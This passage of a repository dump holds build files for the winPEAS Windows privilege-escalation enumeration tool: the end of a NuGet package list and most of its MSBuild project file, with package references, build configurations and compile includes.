targetFramework=\"net48\" />\n  <package id=\"System.Memory\" version=\"4.5.5\" targetFramework=\"net48\" />\n  <package id=\"System.Net.Http\" version=\"4.3.4\" targetFramework=\"net48\" />\n  <package id=\"System.Net.Primitives\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Net.Sockets\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Numerics.Vectors\" version=\"4.5.0\" targetFramework=\"net48\" />\n  <package id=\"System.ObjectModel\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Reflection\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Reflection.Extensions\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Reflection.Primitives\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Resources.ResourceManager\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Runtime\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Runtime.CompilerServices.Unsafe\" version=\"6.0.0\" targetFramework=\"net48\" />\n  <package id=\"System.Runtime.Extensions\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Runtime.Handles\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Runtime.InteropServices\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Runtime.InteropServices.RuntimeInformation\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Runtime.Numerics\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Security.Cryptography.Algorithms\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Security.Cryptography.Encoding\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Security.Cryptography.Primitives\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Security.Cryptography.X509Certificates\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Text.Encoding\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Text.Encoding.Extensions\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Text.Encodings.Web\" version=\"9.0.1\" targetFramework=\"net48\" />\n  <package id=\"System.Text.Json\" version=\"9.0.1\" targetFramework=\"net48\" />\n  <package id=\"System.Text.RegularExpressions\" version=\"4.3.1\" targetFramework=\"net48\" />\n  <package id=\"System.Threading\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Threading.Tasks\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Threading.Tasks.Extensions\" version=\"4.5.4\" targetFramework=\"net48\" />\n  <package id=\"System.Threading.Timer\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.ValueTuple\" version=\"4.5.0\" targetFramework=\"net48\" />\n  <package id=\"System.Xml.ReaderWriter\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Xml.XDocument\" version=\"4.3.0\" targetFramework=\"net48\" />\n</packages>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/winPEAS.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props\" Condition=\"Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{D934058E-A7DB-493F-A741-AE8E3DF867F4}</ProjectGuid>\n    <OutputType>Exe</OutputType>\n    <RootNamespace>winPEAS</RootNamespace>\n    <AssemblyName>winPEAS</AssemblyName>\n    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>\n    <CopySQLiteInteropFiles>false</CopySQLiteInteropFiles>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n    <TargetFrameworkProfile />\n    <PublishUrl>publish\\</PublishUrl>\n    <Install>true</Install>\n    <InstallFrom>Disk</InstallFrom>\n    <UpdateEnabled>false</UpdateEnabled>\n    <UpdateMode>Foreground</UpdateMode>\n    <UpdateInterval>7</UpdateInterval>\n    <UpdateIntervalUnits>Days</UpdateIntervalUnits>\n    <UpdatePeriodically>false</UpdatePeriodically>\n    <UpdateRequired>false</UpdateRequired>\n    <MapFileExtensions>true</MapFileExtensions>\n    <ApplicationRevision>0</ApplicationRevision>\n    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>\n    <IsWebBootstrapper>false</IsWebBootstrapper>\n    <UseApplicationTrust>false</UseApplicationTrust>\n    <BootstrapperEnabled>true</BootstrapperEnabled>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <Prefer32Bit>false</Prefer32Bit>\n    <LangVersion>8.0</LangVersion>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <Prefer32Bit>false</Prefer32Bit>\n    <LangVersion>8.0</LangVersion>\n    <RunCodeAnalysis>false</RunCodeAnalysis>\n    <CodeAnalysisRuleSet Condition=\"Exists('MinimumRecommendedRules.ruleset')\">MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <PropertyGroup>\n    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x64'\">\n    <DebugSymbols>true</DebugSymbols>\n    <OutputPath>bin\\x64\\Debug\\</OutputPath>\n    <DefineConstants>TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF</DefineConstants>\n    <DebugType>full</DebugType>\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <LangVersion>8.0</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n    <CodeAnalysisRuleSet Condition=\"Exists('MinimumRecommendedRules.ruleset')\">MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>\n    <Prefer32Bit>false</Prefer32Bit>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n    <NoWarn>0168 ; 0169; 0414; 0618; 0649</NoWarn>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x64'\">\n    <OutputPath>bin\\x64\\Release\\</OutputPath>\n    <DefineConstants>TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF</DefineConstants>\n    <Optimize>true</Optimize>\n    <DebugType>pdbonly</DebugType>\n    <PlatformTarget>x64</PlatformTarget>\n    <LangVersion>8.0</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n    <CodeAnalysisRuleSet Condition=\"Exists('MinimumRecommendedRules.ruleset')\">MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>\n    <Prefer32Bit>false</Prefer32Bit>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x86'\">\n    <DebugSymbols>true</DebugSymbols>\n    <OutputPath>bin\\x86\\Debug\\</OutputPath>\n    <DefineConstants>TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF</DefineConstants>\n    <DebugType>full</DebugType>\n    <PlatformTarget>x86</PlatformTarget>\n    <LangVersion>8.0</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n    <CodeAnalysisRuleSet Condition=\"Exists('MinimumRecommendedRules.ruleset')\">MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>\n    <Prefer32Bit>false</Prefer32Bit>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x86'\">\n    <OutputPath>bin\\x86\\Release\\</OutputPath>\n    <DefineConstants>TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF</DefineConstants>\n    <Optimize>true</Optimize>\n    <DebugType>pdbonly</DebugType>\n    <PlatformTarget>x86</PlatformTarget>\n    <LangVersion>8.0</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n    <CodeAnalysisRuleSet Condition=\"Exists('MinimumRecommendedRules.ruleset')\">MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>\n    <Prefer32Bit>false</Prefer32Bit>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <PropertyGroup>\n    <StartupObject>\n    </StartupObject>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"BouncyCastle.Crypto, Version=1.9.0.0, Culture=neutral, PublicKeyToken=0e99375e54769942, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Portable.BouncyCastle.1.9.0\\lib\\net40\\BouncyCastle.Crypto.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Costura, Version=5.7.0.0, Culture=neutral, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Costura.Fody.5.7.0\\lib\\netstandard1.0\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll</HintPath>\n    </Reference>\n    <Reference Include=\"EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Microsoft.Bcl.AsyncInterfaces, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Microsoft.Bcl.AsyncInterfaces.9.0.1\\lib\\net462\\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Microsoft.Win32.Primitives, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Microsoft.Win32.Primitives.4.3.0\\lib\\net46\\Microsoft.Win32.Primitives.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.AppContext, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.AppContext.4.3.0\\lib\\net463\\System.AppContext.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Buffers.4.5.1\\lib\\net461\\System.Buffers.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.ComponentModel.Composition\" />\n    <Reference Include=\"System.ComponentModel.DataAnnotations\" />\n    <Reference Include=\"System.Console, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Console.4.3.0\\lib\\net46\\System.Console.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Core\" />\n    <Reference Include=\"System.Data.SQLite, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Data.SQLite.EF6, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Data.SQLite.Linq, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Diagnostics.DiagnosticSource, Version=4.0.1.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Diagnostics.DiagnosticSource.4.3.0\\lib\\net46\\System.Diagnostics.DiagnosticSource.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Diagnostics.Tracing, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Diagnostics.Tracing.4.3.0\\lib\\net462\\System.Diagnostics.Tracing.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.DirectoryServices.AccountManagement\" />\n    <Reference Include=\"System.DirectoryServices\" />\n    <Reference Include=\"System.Globalization.Calendars, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Globalization.Calendars.4.3.0\\lib\\net46\\System.Globalization.Calendars.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.IO, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.IO.4.3.0\\lib\\net462\\System.IO.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.IO.Compression, Version=4.1.2.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.IO.Compression.4.3.0\\lib\\net46\\System.IO.Compression.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.IO.Compression.FileSystem\" />\n    <Reference Include=\"System.IO.Compression.ZipFile, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.IO.Compression.ZipFile.4.3.0\\lib\\net46\\System.IO.Compression.ZipFile.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.IO.FileSystem, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.IO.FileSystem.4.3.0\\lib\\net46\\System.IO.FileSystem.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.IO.FileSystem.Primitives, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.IO.FileSystem.Primitives.4.3.0\\lib\\net46\\System.IO.FileSystem.Primitives.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.IO.Pipelines, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.IO.Pipelines.9.0.1\\lib\\net462\\System.IO.Pipelines.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Linq, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Linq.4.3.0\\lib\\net463\\System.Linq.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Linq.Expressions, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Linq.Expressions.4.3.0\\lib\\net463\\System.Linq.Expressions.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Management\" />\n    <Reference Include=\"System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Memory.4.5.5\\lib\\net461\\System.Memory.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Net.Http, Version=4.1.1.3, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n      <HintPath>..\\packages\\System.Net.Http.4.3.4\\lib\\net46\\System.Net.Http.dll</HintPath>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Net.Sockets, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Net.Sockets.4.3.0\\lib\\net46\\System.Net.Sockets.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Numerics\" />\n    <Reference Include=\"System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Numerics.Vectors.4.5.0\\lib\\net46\\System.Numerics.Vectors.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Reflection, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Reflection.4.3.0\\lib\\net462\\System.Reflection.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Runtime, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Runtime.4.3.0\\lib\\net462\\System.Runtime.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Runtime.CompilerServices.Unsafe.6.0.0\\lib\\net461\\System.Runtime.CompilerServices.Unsafe.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Runtime.Extensions, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Runtime.Extensions.4.3.0\\lib\\net462\\System.Runtime.Extensions.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Runtime.InteropServices, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Runtime.InteropServices.4.3.0\\lib\\net463\\System.Runtime.InteropServices.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Runtime.InteropServices.RuntimeInformation, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Runtime.InteropServices.RuntimeInformation.4.3.0\\lib\\net45\\System.Runtime.InteropServices.RuntimeInformation.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Security\" />\n    <Reference Include=\"System.Security.Cryptography.Algorithms, Version=4.2.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Security.Cryptography.Algorithms.4.3.0\\lib\\net463\\System.Security.Cryptography.Algorithms.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Security.Cryptography.Encoding, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Security.Cryptography.Encoding.4.3.0\\lib\\net46\\System.Security.Cryptography.Encoding.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Security.Cryptography.Primitives, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Security.Cryptography.Primitives.4.3.0\\lib\\net46\\System.Security.Cryptography.Primitives.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Security.Cryptography.X509Certificates, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Security.Cryptography.X509Certificates.4.3.0\\lib\\net461\\System.Security.Cryptography.X509Certificates.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.ServiceProcess\" />\n    <Reference Include=\"System.Text.Encodings.Web, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Text.Encodings.Web.9.0.1\\lib\\net462\\System.Text.Encodings.Web.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Text.Json, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Text.Json.9.0.1\\lib\\net462\\System.Text.Json.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Text.RegularExpressions, Version=4.1.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n      <HintPath>..\\packages\\System.Text.RegularExpressions.4.3.1\\lib\\net463\\System.Text.RegularExpressions.dll</HintPath>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Threading.Tasks.Extensions, Version=4.2.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Threading.Tasks.Extensions.4.5.4\\lib\\net461\\System.Threading.Tasks.Extensions.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Transactions\" />\n    <Reference Include=\"System.ValueTuple, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.ValueTuple.4.5.0\\lib\\net47\\System.ValueTuple.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Web.Extensions\" />\n    <Reference Include=\"System.Windows.Forms\" />\n    <Reference Include=\"System.Xml.Linq\" />\n    <Reference Include=\"System.Data.DataSetExtensions\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Xml\" />\n    <Reference Include=\"System.Xml.ReaderWriter, Version=4.1.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Xml.ReaderWriter.4.3.0\\lib\\net46\\System.Xml.ReaderWriter.dll</HintPath>\n      <Private>True</Private>\n      <Private>True</Private>\n    </Reference>\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\ChangeErrorMode.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Device.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\DeviceInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\DiskSpaceInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\DriveInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DefineDosDevice.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteDosDevice.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteVolumeMountPoint.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DiskFreeSpace.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DriveType.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumeMountPoints.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumePathNames.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveFormat.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveNameForNtDeviceName.cs\" />\n    <Compile 